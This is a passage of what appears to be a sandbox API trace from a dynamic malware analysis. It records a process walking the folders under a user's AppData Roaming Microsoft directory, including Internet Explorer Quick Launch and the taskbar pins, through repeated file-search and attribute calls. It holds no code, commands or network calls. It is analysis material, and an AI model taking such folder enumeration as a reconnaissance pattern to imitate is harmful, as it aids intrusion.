[0068.380] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x32 [0068.380] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0068.381] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.381] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.381] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0068.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x33 [0068.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp8_1"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x33 [0068.383] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.384] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.384] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.384] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.384] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x33 [0068.384] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.384] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.384] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.384] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.384] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x33 [0068.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.384] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp9_0"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.385] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x33 [0068.385] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.385] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.385] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.385] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.385] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x33 [0068.385] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.386] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.386] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.386] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3d [0068.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc490d370, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc490d370, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3d [0068.386] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.386] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.386] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.386] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.386] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.387] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4a [0068.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc3077460, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc3077460, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4a [0068.387] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.387] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.387] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.387] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.387] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.387] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.388] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.388] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.388] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.388] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.388] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x56 [0068.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.388] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x56 [0068.388] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.389] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.389] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.389] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.389] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.389] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6b [0068.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6b [0068.390] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.390] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.390] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.390] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6b [0068.390] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.390] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.390] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.390] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5e [0068.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xe35ab9d0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe35ab9d0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5e [0068.391] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.391] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.391] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.391] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.391] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.391] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.391] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.392] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.392] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.392] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.392] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.392] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.392] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5e [0068.392] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.392] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.393] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 